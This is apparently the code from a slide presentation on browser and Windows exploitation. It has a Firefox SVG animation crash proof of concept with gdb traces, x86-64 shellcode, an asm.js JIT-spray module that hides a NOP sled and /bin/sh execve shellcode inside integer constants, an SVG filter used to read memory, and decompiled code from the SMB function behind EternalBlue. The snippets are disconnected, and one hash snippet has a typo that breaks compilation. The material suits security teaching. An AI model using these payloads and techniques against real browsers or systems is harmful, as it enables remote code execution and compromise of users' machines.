<!DOCTYPE html>
<body>
<button onclick="document.getElementById('containerA').pauseAnimations()">
Click to crash
</button>
<svg id="containerA">
<animate id="a" begin="0s" end="50s"></animate>
<animate id="b" begin="60s" end="ic.end"></animate>
</svg>
<svg>
<animate id="c" begin="0s" end="ia.end"></animate>
</svg>
</body>
</html>
void nsSMILTimeContainer::NotifyTimeChange() {
const MilestoneEntry* p = mMilestoneEntries.Elements();
while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get();
elem->TimedElement().HandleContainerTimeChange();
++p;
}
}
<svg id="containerA">
<animate id="a" begin="0s" end="50s"></animate>
<animate id="b" begin="60s" end="ic.end"></animate>
</svg>
<svg>
<animate id="c" begin="0s" end="ia.end"></animate>
</svg>
(gdb) bt nsSMILTimeContainer::AddMilestone(...) (this=0x7f41a17188c0, ...) nsSMILTimedElement::RegisterMilestone() (...) nsSMILTimedElement::UpdateCurrentInterval(bool) (...) nsSMILTimedElement::UpdateInstanceTime(...) (...) nsSMILTimeValueSpec::HandleChangedInstanceTime(...) (...) nsSMILInstanceTime::HandleChangedInterval(...) (...) nsSMILTimedElement::NotifyChangedInterval(...) (...) nsSMILTimedElement::UpdateCurrentInterval(bool) (...) nsSMILTimedElement::UpdateInstanceTime(...) (...) nsSMILTimeValueSpec::HandleChangedInstanceTime(...) (...) nsSMILInstanceTime::HandleChangedInterval(...) (...) nsSMILTimedElement::NotifyChangedInterval(...) (...) nsSMILTimeContainer::NotifyTimeChange() (this=0x7f41a17188c0) mozilla::dom::SVGSVGElementBinding::pauseAnimations(...) (...) mozilla::dom::GenericBindingMethod(...) (...) js::CallJSNative(...) (...) js::InternalCallOrConstruct(...) (...) InternalCall (...) (...) js::CallFromStack(...) (...) js::jit::DoCallFallback(...) (...)
(gdb) fr 12
#12 in nsSMILTimeContainer::NotifyTimeChange (...)
(gdb) list
310 const MilestoneEntry* p = mMilestoneEntries.Elements();
314 while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
315 mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get();
316 elem->TimedElement().HandleContainerTimeChange();
320 ++p;
321 }
(gdb) p mMilestoneEntries->mElements->mHdr->mLength $2 = 5
(gdb) fr 1 #1 in nsSMILTimedElement::RegisterMilestone (...) (gdb) fin Run till exit from #1 nsSMILTimedElement::RegisterMilestone (...)
(gdb) fr 10 #10 in nsSMILTimeContainer::NotifyTimeChange (...) (gdb) p mMilestoneEntries->mElements->mHdr->mLength $3 = 6
void nsSMILTimeContainer::NotifyTimeChange() {
const MilestoneEntry* p = mMilestoneEntries.Elements();
while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get();
elem->TimedElement().HandleContainerTimeChange();
++p;
}
}
#include <stdio.h>
int main(int argc, char *argv[]) {
unsigned char code[] = {
0x48, 0x83, 0xec, 0x04, // sub $0x4,%rsp
0x48, 0x31, 0xc0, // xor %rax,%rax
0x48, 0x31, 0xff, // xor %rdi,%rdi
0x48, 0x31, 0xd2, // xor %rdx,%rdx
0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl $0x000a6948,(%rsp)
// [0x000a6948 == "Hi\n\0"]
0x66, 0xbf, 0x01, 0x00, // mov $0x1,%di
0x48, 0x8d, 0x34, 0x24, // lea (%rsp),%rsi
0x66, 0xba, 0x04, 0x00, // mov $0x4,%dx
0x66, 0xb8, 0x01, 0x00, // mov $0x1,%ax
0x0f, 0x05, // syscall
0x48, 0x83, 0xc4, 0x04, // add $0x4,%rsp
0xc3 // retq
};
( (void (*)()) &code[0])();
return 0;
}
| Segment | RW | X |
|---|---|---|
| Stack | Yes | Yes/No |
| Heap | Yes | No |
| Data | Yes | No |
| BSS | Yes | No |
| Code | No | Yes |
function payload_code(){
var val = 0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
// ...
}
[maciek@pc firefox]$ cat /proc/2870/maps | head 7f4506c00000-7f4507000000 rw-p 00000000 00:00 0 7f45c7000000-7f45cf100000 rw-p 00000000 00:00 0 7f45cf13a000-7f45cf13b000 r-xp 00000000 00:00 0 <-- Executable
[maciek@pc firefox]$ gdb -p 2870 (gdb) find 0x7f45cf13a000, 0x7f45cf13b000, 0xa8909090 0x7f45cf13a035 0x7f45cf13a03a ...
(gdb) x/8i 0x7f45cf13a034 0x7f45cf13a034: mov $0xa8909090,%eax 0x7f45cf13a039: add $0xa8909090,%eax 0x7f45cf13a03e: add $0xa8909090,%eax 0x7f45cf13a043: add $0xa8909090,%eax 0x7f45cf13a048: add $0xa8909090,%eax 0x7f45cf13a04d: add $0xa8909090,%eax 0x7f45cf13a052: add $0xa8909090,%eax 0x7f45cf13a057: add $0xa8909090,%eax
(gdb) x/8i 0x7f45cf13a034+1 0x7f45cf13a035: nop 0x7f45cf13a036: nop 0x7f45cf13a037: nop 0x7f45cf13a038: test $0x5,%al 0x7f45cf13a03a: nop 0x7f45cf13a03b: nop 0x7f45cf13a03c: nop 0x7f45cf13a03d: test $0x5,%al
(gdb) x/5bx 0x7f45cf13a034 0x7f45cf13a034: 0xb8 0x90 0x90 0x90 0xa8 0x7f45cf13a039: 0x05 0x90 0x90 0x90 0xa8 0x7f45cf13a03e: 0x05 0x90 0x90 0x90 0xa8 0x7f45cf13a043: 0x05 0x90 0x90 0x90 0xa8 (gdb) x/5bx 0x7f45cf13a034 0x7f45cf13a034: 0xb8 0x90 0x90 0x90 0xa8 0x7f45cf13a039: 0x05 0x90 0x90 0x90 0xa8 0x7f45cf13a03e: 0x05 0x90 0x90 0x90 0xa8 0x7f45cf13a043: 0x05 0x90 0x90 0x90 0xa8
48 ff c4 inc %rsp 89 05 test $0x5,%al # we ignore the output
90 nop 90 nop 90 nop 6a 05 pushq $05
6a 00 pushq $0x0 # push '\0' 66 68 05 68 pushw $0x6805 # push 'h' 48 ff c4 inc %rsp # 66 68 05 73 pushw $0x7305 # push 's' 48 ff c4 inc %rsp # 66 68 05 2f pushw $0x2f05 # push '/' 48 ff c4 inc %rsp # 66 68 05 6e pushw $0x6e05 # push 'n' 48 ff c4 inc %rsp # 66 68 05 69 pushw $0x6905 # push 'i' 48 ff c4 inc %rsp # 66 68 05 62 pushw $0x6205 # push 'b' 48 ff c4 inc %rsp # 66 68 05 2f pushw $0x2f05 # push '/' 48 ff c4 inc %rsp # 48 31 c0 xor %rax,%rax # 48 89 e7 mov %rsp,%rdi # rdi -> "/bin/sh" 50 push %rax # 48 89 e2 mov %rsp,%rdx # rsp -> "" 57 push %rdi # 48 89 e6 mov %rsp,%rsi # rsi -> "/bin/sh", "" b0 3b mov $0x3b,%al # 0f 05 syscall # execve
6a 00 90 a8 05 pushq $0x0 # push '\0'
90 90 66 68 05 68 pushw $0x6805 # push 'h'
90 90 a8 05
48 ff c4 a8 05 inc %rsp
90 90 66 58 05 73 pushw $0x7305 # push 's'
90 90 a8 05
48 ff c4 a8 05 inc %rsp
90 90 66 58 05 2f pushw $0x2f05 # push '/'
90 90 a8 05
48 ff c4 a8 05 inc %rsp
90 90 66 58 05 6e pushw $0x6e05 # push 'n'
90 90 a8 05
48 ff c4 a8 05 inc %rsp
90 90 66 58 05 69 pushw $0x6905 # push 'i'
90 90 a8 05
48 ff c4 a8 05 inc %rsp
[...]
function asm_js_module(){
"use asm";
function payload_code(){
var val = 0;
val = (val + 0xa8909090)|0; // nop sled
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
// [...]
val = (val + 0xa890006a)|0; // shell code
val = (val + 0x68669090)|0; // with removed
val = (val + 0xa8909068)|0; // 0x05 bytes
val = (val + 0xa8c4ff48)|0;
val = (val + 0x68669090)|0;
val = (val + 0xa8909073)|0;
val = (val + 0xa8c4ff48)|0;
val = (val + 0x68669090)|0;
val = (val + 0xa890902f)|0;
val = (val + 0xa8c4ff48)|0;
/// [...]
return val|0;
}
return payload_code
}
<filter id="mem-read"> <feConvolveMatrix kernelMatrix="0.000000238 0 0 0 0 0 0 0 0" kernelUnitLength="-0.5 -0.5"/> </filter>
inline HashNumber ScrambleHashCode(HashNumber h) {
static const HashNumber goldenRhatio = 0x9E3779B9U;
return h * goldenRatio;
}
Data* lookup(const Lookup& l, HashNumber h) {
for (Data* e = hashTable[h >> hashShift]; e; e = e->chain) {
// ...
}
return nullptr;
}
int __stdcall SrvOs2FeaListSizeToNt(_DWORD *a1) {
_WORD *v1; // eax@1
unsigned int v2; // edi@1
unsigned int v3; // esi@1
int v4; // ebx@3
int v6; // [sp+Ch] [bp-4h]@1
v1 = a1;
v6 = 0;
v2 = (unsigned int)a1 + *a1;
v3 = (unsigned int)(a1 + 1);
if ( (unsigned int)(a1 + 1) < v2 ) {
while ( v3 + 4 < v2 ) {
// loop through the data
// ...
}
// store the frame size
*v1 = (_WORD)(v3 - v1);
}
return v6;
}
Use a spacebar or arrow keys to navigate